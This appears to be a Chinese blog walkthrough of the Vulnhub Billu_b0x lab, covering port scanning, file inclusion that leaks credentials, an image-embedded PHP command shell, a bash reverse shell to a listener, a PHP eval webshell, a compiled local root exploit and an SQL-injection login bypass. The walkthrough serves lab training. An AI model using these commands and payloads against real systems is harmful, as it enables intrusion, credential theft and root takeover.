Vulnhub-billub0x

简介: Vulnhub-billub0x

Vulnhub-billu b0x

靶机信息

下载链接

https://download.vulnhub.com/billu/Billu_b0x.zip

靶机说明

虚拟机难度中等,使用ubuntu(32位),其他软件包有:PHP、apache、MySQL

目标

Boot to root:从Web应用程序进入虚拟机,并获得root权限。

运行环境

靶机:网络连接方式设置为net,靶机自动获取IP。
攻击机:Windows10攻击机,kali攻击机,主要用Windows攻击机完成实验。

信息收集

目标发现

启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描vm8网卡的NAT网段C段IP,命令:nmap -sP 192.168.64.1/24

成功得到靶机ip:192.168.160.187

端口和服务识别

nmap扫描

#扫描1-65535全端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件
nmap -p1-65535 -A 192.168.64.161 -oN billu.txt

扫描发现开启了22(SSH OpenSSH 5.9p1)和80端口( HTTP Apache httpd 2.2.22)

访问80端口:发现用户名密码输入框,并提示Show me your SQLI skills,好家伙这是要我sql注入呀,我直接一波操作猛如虎,干了半个小时,手工加sqlmap跑了半天,没有结果,先放着。

目录扫描

dirb

御剑目录扫描

好家伙,目录很多,挨个访问

手工探测

in.php,这是一个phpinfo的界面,发现敏感信息:网站绝对路径/var/www

allow_url_fopen = on

c.php,返回为空白

test.php,这里报错要我指定file,再结合之前phpinfo的敏感信息,说明这里有可能存在文件包含漏洞

add.php,一个文件上传界面,这里F12 看源码,发现只有前端,无后端交互源码,说明这里是一个摆设,无用。

/phpmy,这里是个phpmyadmin的界面,尝试弱口令,失败,先放着。

渗透阶段

思路一:文件包含查看配置文件,获取root密码

通过前面的信息收集可知test.php页面可能存在文件包含漏洞,首先通过get方式输入参数,并没有什么反应。尝试POST方式,成功读取/etc/passwd。

但是无法读取/etc/shadow

尝试读取其他的目录文件,并审计源码

上面目录扫描发现phpmyadmin,以及phpinfo中发现的网站绝对路径,这里尝试读取phpmyadmin的默认配置文件config.inc.php

file=/var/www/phpmy/config.inc.php,成功读取,发现root用户密码为roottoor

用上面的密码,ssh远程连接,成功,就这????

思路二:文件包含+文件上传获取shell。

1、读取c.php,发现mysql用户密码:b0bill:ux_billu

到先前发现的/phpmy目录进行登录,登陆成功并发现auth表中的一个用户密码biLLu:hEx_it,到首页进行登录

2、登录成功后,点击show user,这是查看账号页面,F12查看现有图片路径

并成功访问

点击add user进入添加账号界面,这是一个文件上传点,简单尝试发现这里上传的文件在上面的路径里

尝试上传一句话木马,发现为白名单过滤

尝试上传图片马,然后用文件包含去解析,因为这里是POST 方式,所以不能用中国蚁剑直接连,这里只能写一个命令马,然后用burp以POST方式执行。(命令马:直接将一句话用文本编辑器写在图片的中间或者后面)

3、在test.php,页面进行解析,发现解析失败,查看源码发现这里是下载,而不能成功解析。

通过test.php的文件包含漏洞,进一步查看各个页面源码寻找突破点,在/panel.php发现在continue那也存在文件包含漏洞(功夫不负有心人)。

根据上面发现的路径,的出上传的命令马的路径为/uploaded_images/1.jpg,利用上面的文件包含漏洞进行解析并成功执行命令

POST请求url中加入执行命令的参数:POST /panel.php?cmd=ls

POST的body中包含1.jpg图片马:load=/uploaded_images/1.jpg&continue=continue

用bash反弹shellecho "bash -i >& /dev/tcp/192.168.160.129/4444 0>&1" | bash需要将命令url编码然后发送

编码完成后,在开启nc监听nc -lvnp 4444,然后再POST发送命令

nc接收反弹shell成功

找一个可写权限目录,写入一句话木马,以便蚁剑连接,方便提权exp文件的上传

文件上传目录uploaded_images为写权限目录,进入该目录,写一个一句话木马:echo '<?php eval()$_POST[aaa]);?>' >> 1.php

蚁剑连接成功。

下载Ubuntu著名的本地提权漏洞exp:https://www.exploit-db.com/exploits/37292/

下载完后用蚁剑上传至目标机可写目录uploaded_images,

上传成功

#赋予执行权限
chmod 777 37292.c
#编译exp
gcc 37292.c -o exp
#执行exp,提权至root
./exp

提权成功

思路三:构造注入

回到之前信息收集中的注入页面,也就是首页index.php,利用发现的文件包含漏洞,查看源码中过滤sql的方法,针对性构造sql注入

1、审计index.php源码,发现以下过滤规则:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));

str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。urldecode的作用是将输入解码。

2、 常见的利用注入登录的payload是' or 1=1 -- 修改这个在最后增加\',str_replace会将这个\'替换为空。

3、注入成功,payload是' or 1=1 -- \';后面获取shell方法和上面实验相同。

目录
相关文章
BUUCTF [SWPU2019]我有一只马里奥 1
BUUCTF [SWPU2019]我有一只马里奥 1
509 0
BUUCTF [SWPU2019]我有一只马里奥 1
|
API Android开发 开发者
移动应用与系统:探索移动应用开发与操作系统的融合之道
本文深入探讨了移动应用开发与操作系统之间的紧密联系,分析了两者如何相互影响、促进和共同发展。通过对移动应用开发流程、技术选型以及移动操作系统特性的详细阐述,揭示了开发者如何在不断变化的市场环境中保持创新,以及操作系统如何为应用提供稳定、高效的运行环境。同时,文章还展望了未来移动应用与系统的发展趋势,强调了跨平台开发、人工智能集成和安全性等方面的重要性。
BUUCTF---[ACTF2020 新生赛]BackupFile1
BUUCTF---[ACTF2020 新生赛]BackupFile1
BUUCTF 大白 1
BUUCTF 大白 1
368 0
|
弹性计算 数据中心
选择阿里云香港服务器的注意事项?香港主机托管租用价格?
选择阿里云香港服务器的注意事项?香港主机托管租用价格?阿里云香港服务器中国香港数据中心网络线路类型BGP多线精品,中国电信CN2高速网络高质量、大规格BGP带宽,运营商精品公网直连中国内地,时延更低,优化海外回中国内地流量的公网线路,可以提高国际业务访问质量
|
存储 缓存 网络协议
高级IO以及IO多路复用(select、poll、epoll网络编程)2
高级IO以及IO多路复用(select、poll、epoll网络编程)
207 0
|
前端开发 小程序
微信小程序canvas画布绘制base64图片并保存图片到相册中
微信小程序canvas画布绘制base64图片并保存图片到相册中
328 0
|
前端开发 JavaScript Java
大咖与小白的日常:如何在线编辑Word/PPT/Excel等Office文件
如何利用OSS和智能媒体管理服务,实现在线预览/编辑Office文件。
334 0
|
安全 Shell PHP
WEB常见漏洞之文件包含 (靶场篇)
WEB常见漏洞之文件包含 (靶场篇)
623 0
|
机器学习/深度学习 NoSQL API
Redis的设计与实现(2)-链表
链表在 Redis 中的应用非常广泛, 比如列表键的底层实现之一就是链表: 当一个列表键包含了数量比较多的元素, 又或者列表中包含的元素都是比较长的字符串时, Redis 就会使用链表作为列表键的底层实现.
159 0